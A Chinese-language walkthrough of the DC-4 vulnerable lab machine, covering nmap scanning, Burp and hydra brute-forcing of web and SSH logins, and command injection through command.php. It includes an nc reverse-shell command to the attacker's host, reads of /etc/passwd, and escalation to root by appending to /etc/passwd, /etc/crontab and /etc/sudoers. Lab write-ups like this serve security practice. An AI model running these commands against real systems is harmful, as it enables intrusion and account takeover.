前言

DC-3靶机只有一个entry point,就是根据CVE-2018-8917sql注入漏洞获得管理员密码,登录后台后植入webshell:

1

但是DC-4靶机应该是有比较多的解法的:

2

信息收集

第一步永远是收集目标主机的信息,直接上nmap:

1
2
3
4
5
6
7
8
9
10
11
kali@kali:~$ nmap -sP 192.168.247.1/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-28 11:09 EDT
Nmap scan report for 192.168.247.1
Host is up (0.0021s latency).
Nmap scan report for 192.168.247.2
Host is up (0.0017s latency).
Nmap scan report for 192.168.247.210
Host is up (0.00011s latency).
Nmap scan report for 192.168.247.217
Host is up (0.0017s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.45 seconds

发现目标主机192.168.247.217,继续扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
kali@kali:~$ nmap -p1-65535 -A 192.168.247.217 -oN /tmp/DC-4.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-28 11:09 EDT
Nmap scan report for 192.168.247.217
Host is up (0.0016s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 8d:60:57:06:6c:27:e0:2f:76:2c:e6:42:c0:01:ba:25 (RSA)
| 256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA)
|_ 256 fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519)
80/tcp open http nginx 1.15.10
|_http-server-header: nginx/1.15.10
|_http-title: System Tools
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.09 seconds

漏洞挖掘

因为目标主机开启了http服务,访问该站点:

3

是一个简单的登陆界面。尝试了普通密码之后没能成功登录。

目录扫描

那扫描一下目录,发现了command.php

4

但是要访问这个页面还是需要登录,那直接上burp爆破用户名和密码。

Brute Forcing

BurpSuite

这里的字典我用了github上一个知名的字典库SecLists

10

burp抓下包,发送到Intruder模块,选择需要爆破的字段为usernamepasswordattack type选择为Cluster bomb

5

usernames用了字典:https://github.com/danielmiessler/SecLists/blob/master/Usernames/top-usernames-shortlist.txt

6

passwords用了字典:https://github.com/danielmiessler/SecLists/blob/master/Passwords/darkweb2017-top1000.txt

7

然后设置线程为20后就可以开始爆破了:

8

大概两分钟之后就可以看到爆破成功了:

9

得到用户密码为admin : happy

hydra

除了burp之外,还可以用hydra进行爆破:

1
hydra 192.168.247.217 -V -L tools/top-usernames-shortlist.txt -P /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" | grep password

18

获取shell

登入之后访问command.php,可以看到:

11

burp抓个包,修改一下命令,尝试反弹shell:

1
nc -e /bin/bash 192.168.247.210 4444

但是不知道为什么,反弹shell始终不成功,郁闷,还没找到原因:

13

换个思路,先读取/etc/passwd文件:

12

发现目标主机上有3个用户:

1
2
3
charles:x:1001:1001:Charles,,,:/home/charles:/bin/bash
jim:x:1002:1002:Jim,,,:/home/jim:/bin/bash
sam:x:1003:1003:Sam,,,:/home/sam:/bin/bash

查看一下目标主机下的/home目录发现了三个文件夹:

1
2
3
4
5
6
total 20
drwxr-xr-x 5 root root 4096 Apr 7 2019 .
drwxr-xr-x 21 root root 4096 Apr 5 2019 ..
drwxr-xr-x 2 charles charles 4096 Apr 7 2019 charles
drwxr-xr-x 3 jim jim 4096 Apr 7 2019 jim
drwxr-xr-x 2 sam sam 4096 Apr 7 2019 sam

但是只有/home/jim下有文件存在:

14

backups是一个文件夹,该文件夹下存在一个.bak文件old-passwords.bak,这个可能就是jim用户登录的关键,读取该文件

1
radio=cat+/home/jim/backups/old-passwords.bak

然后保存为jim_passwords.txt,用hydra进行爆破:

1
hydra -l jim -P jim_password.txt ssh://192.168.247.217

15

得到密码jibril04

登录之后,接下去的目标就是提权啦,所以先看一下有没有可以用sudo运行的命令:

1
2
3
jim@dc-4:~$ sudo -l
[sudo] password for jim:
Sorry, user jim may not run sudo on dc-4.

但是很遗憾,用户jim并不在sudo组中。之前也说过,/home/jim下存在一个文件mbox,读取之后发现是一封邮件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
jim@dc-4:~$ cat mbox 
From root@dc-4 Sat Apr 06 20:20:04 2019
Return-path: <root@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 20:20:04 +1000
Received: from root by dc-4 with local (Exim 4.89)
(envelope-from <root@dc-4>)
id 1hCiQe-0000gc-EC
for jim@dc-4; Sat, 06 Apr 2019 20:20:04 +1000
To: jim@dc-4
Subject: Test
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCiQe-0000gc-EC@dc-4>
From: root <root@dc-4>
Date: Sat, 06 Apr 2019 20:20:04 +1000
Status: RO

This is a test.

说真的,到了这里,我的思路又断了,这是啥意思,看了别人的wp之后才知道可以查看/var/mail邮件目录,发现有一封邮件jim,打开之后发现发信人是charles,并且在邮件中给了jim自己的用户登录密码^xHhA&hvim0y,防止在他度假的时候有什么问题jim可以登录他的账号查看:

16

登录charles账户后,查看哪些命令可以sudo执行:

17

有一个命令/usr/bin/teehee,这个命令可以将一些input写入指定的文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ teehee --help
Usage: teehee [OPTION]... [FILE]...
Copy standard input to each FILE, and also to standard output.

-a, --append append to the given FILEs, do not overwrite
-i, --ignore-interrupts ignore interrupt signals
-p diagnose errors writing to non pipes
--output-error[=MODE] set behavior on write error. See MODE below
--help display this help and exit
--version output version information and exit

MODE determines behavior with write errors on the outputs:
'warn' diagnose errors writing to any output
'warn-nopipe' diagnose errors writing to any output not a pipe
'exit' exit on error writing to any output
'exit-nopipe' exit on error writing to any output not a pipe
The default MODE for the -p option is 'warn-nopipe'.
The default operation when --output-error is not specified, is to
exit immediately on error writing to a pipe, and diagnose errors
writing to non pipe outputs.

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
Full documentation at: <http://www.gnu.org/software/coreutils/tee>
or available locally via: info '(coreutils) tee invocation'

suid提权

那最后一步就是提权了。到这里为止有三个思路,通过修改以下三个文件中的任意一个实现:

1
2
3
/etc/passwd
/etc/crontab
/etc/sudoers

/etc/passwd

/etc/passwd是系统中很重要的文件,是用来保存用户的账户信息的,这个文件中的账户都是按照格式存储的,存储格式为:

1
注册名:口令:用户标识号:组标识号:用户名:用户主目录:命令解释程序

如果用户有密码,那么口令这个字段就是用一个x表示,然后第3个字段是用户标识号,就是UID,root用户的UID就是0,第4个字段是组标识号GID,root的GID也是0,最后一个字段就是用户登录时运行的shell。

那么通过往/etc/passwd文件中添加一行数据,就可以添加一个用户账号,但是这个文件是只有root用户才可以修改的:

1
2
$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1578 Apr 7 2019 /etc/passwd

既然teehee命令拥有sudo权限,也就是说,可以通过teehee命令向/etc/passwd文件中添加一行数据:

1
echo "bt::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

19

接着登录root权限用户bt,就可以看到当前的权限是root了!

20

/etc/crontab

/etc/crontab是系统性的计划任务,由cron命令来执行。cron是linux内置计划任务服务,crond是该服务的进程名称,crond进程会每分钟定期检查/etc/crontab中是否有要执行的任务。

/etc/crontab文件的格式是这样的:

22

可以看到,格式是这样的:

1
2
3
第一部分 * * * * *:表示任务的执行周期和时间,*表示任意时间
第二部分:表示执行任务时的用户
第三部分:需要执行的命令

所以我们可以这样利用这个文件:

1
2
3
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

echo "* * * * * root root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

其中* * * * *表示每时每刻都让root用户执行后面的命令chmod 4777 /bin/bash

23

/etc/sudoers

当用户执行sudo命令时,系统会根据/etc/sudoers文件来判断当前用户是否具有执行该sudo命令的权限。

这个文件的格式为:

1
useralias(用户名) hostalias(可以从哪些机器登录)=(用户:用户组) cmdalias(执行什么命令)

所以可以利用teehee命令修改这个文件,赋予cahrles用户执行所有命令的权限:

1
echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers

现在charles用户就可以以root身份执行所有命令了:

21

总结

这个靶机其实和真实环境可能有一点的距离,因为这不是一个真实的cms,而且在获得jim用户名那里更加偏向于ctf类型,毕竟很少有人会将自己用过的密码直接放在文件中,但是从中学到的提权方法还是很有趣的,之前在另一个靶机已经学过利用suid提权了,只不过利用的命令不同,不过最重要的还是拓宽思路。所以对我来说,这个靶机最好的练习点还是在前期的爆破用户名和密码,以及后面的suid提权部分。